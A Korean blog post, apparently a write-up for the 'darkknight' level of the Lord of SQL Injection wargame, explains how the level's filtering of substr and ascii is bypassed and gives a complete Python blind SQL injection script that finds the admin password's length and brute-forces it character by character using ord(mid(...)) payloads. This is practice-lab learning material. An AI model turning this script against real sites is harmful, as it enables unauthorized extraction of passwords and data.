Web Hacking/LOS

Lord of SQL Injection(LOS) - darkknight

2021. 8. 16. 18:58

대부분의 내용은 비슷하지만 필터링이 바뀌었다. 주요적으로 substr, ascii 함수를 사용하지 못하는 필터링이 생겼다.

 

SQL Injection 을 진행할 때 가장 중요하게 생각해야할 부분은 필터링이 아니라 GET 방식으로 입력받는 데이터가 실제로 어떻게 parsing  되는지이다.

 

pw의 경우 query 문으로 전달한 데이터는 문자열로 parsing 된다.

하지만 no의 경우 데이터가 정수형으로 parsing 되기 때문에 따옴표로 문자열이라는 것을 지정하지 않는 이상 다른 문자열 데이터는 무시되는 것 같다.

 

이러한 이유로 아래 exploit 코드의 28번째 줄에서 보통의 방식에서 사용하던 

+ str(i) + ... + chr(j)

과 같은 방식은 PW가 모두 '%'로 출력되는 오류가 발생하였다.

 

query 문에서 string 형식으로 데이터를 GET 한다면 문자열로 비교, integer 형식으로 데이터를 GET 한다면 정수형으로 비교한다는 것을 기억해야 한다.

 

이에 PW 를 하나씩 비교하는 과정에서 ord() 와 str() 이용하여 아스키코드 값만을 비교하는 방식을 사용하였다.

  1 # For LOS exploitation
  2 import requests
  3 
  4 requests.packages.urllib3.disable_warnings()
  5 org_url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
  6 header  = {'Cookie': 'PHPSESSID='}
  7 session = requests.session()
  8 
  9 
 10 # Check Length of PW
 11 pass_length = 0
 12 
 13 for i in range(0, 100):
 14     payload = '?pw=ABCD&no=1234 or id like "admin" and length(pw) like ' + '"' + str(i) + '"'
 15     res = session.get(url = org_url + payload, headers=header, verify=False)
 16 
 17     if "Hello admin" in res.text:
 18         pass_length = i
 19         print("Length of PW is [ %d ]\n" % i)
 20         break
 21 
 22 
 23 # Brute Force
 24 password = ''
 25 
 26 for i in range(1, pass_length + 1):
 27     for j in range(33, 122):
 28         payload = '?pw=ABCD&no=1234 or id like "admin" and ord(mid(pw,' + str(i) + ', 1)) like ' + '"' + str(j) + '"'
 29         res = session.get(url = org_url + payload, headers = header, verify=False)
 30 
 31         if "Hello admin" in res.text:
 32             password += chr(j)
 33             print("Current PW is %s" % password)
 34             break
 35 
 36 
 37 # Result
 38 print("\nRESULT")
 39 print("-------------")
 40 print("PW --> %s" % password)
저작자표시 (새창열림)

'Web Hacking > LOS' 카테고리의 다른 글

Lord of SQL Injection - giant  (1) 2021.08.16
Lord of SQL Injection - bugbear  (0) 2021.08.16
Lord of SQL Injection(LOS) - golem  (0) 2021.08.07
Lord of SQL Injection(LOS) - skeleton  (0) 2021.08.07
Lord of SQL Injection(LOS) - vampire  (0) 2021.08.07
'Web Hacking/LOS' 카테고리의 다른 글
  • Lord of SQL Injection - giant
  • Lord of SQL Injection - bugbear
  • Lord of SQL Injection(LOS) - golem
  • Lord of SQL Injection(LOS) - skeleton
Lucvs
Lucvs
Department of Computer Science and Engineering, 21th, Sungkyunkwan University
Lucvs
Lucvs
Lucvs
전체
오늘
어제
  • 분류 전체보기
    • Lucvs
      • 훈련소 일기
      • 寿司
      • 영국 여행기
    • Pwnable
      • Techniques
      • FTZ
      • LOB
      • HackCTF
      • Dreamhack
      • pwnable.kr
      • CTF
    • Web Hacking
      • Techniques
      • Webhacking.kr
      • HackCTF
      • Dreamhack
      • LOS
    • Reversing
      • Dreamhack
    • Cryptography
      • Modern Cryptography
      • Algorithm
      • Differential Attack (차분 공격)
      • Linear Attack (선형 공격)
    • Forensic
      • Dreamhack
    • Programming
      • C
      • Python
      • Java
    • Deep Learning
    • Network
    • Project
    • Hardware
      • Raspberry Pi
      • Arduino

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • blind sql injection
  • J
  • 군대
  • 잉글랜드
  • 일기
  • lord of sql injection
  • dreamhack
  • 훈련소
  • 여행기
  • Error-Based SQL Injection
  • 공군
  • 군대 일기
  • 기본군사훈련단
  • 훈련소 일기
  • Los
  • 효전화
  • 웹해킹
  • 차분 공격
  • 공군 훈련소
  • Lord of SQL Injeciton
  • rev-basic
  • 영국
  • dreamhack.io
  • 차분 분석
  • Web Hacking
  • 기훈단
  • 런던
  • 드림핵
  • Differential Attack
  • SQL INJECTION

최근 댓글

최근 글

hELLO · Designed By 정상우.
Lucvs
Lord of SQL Injection(LOS) - darkknight
상단으로

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.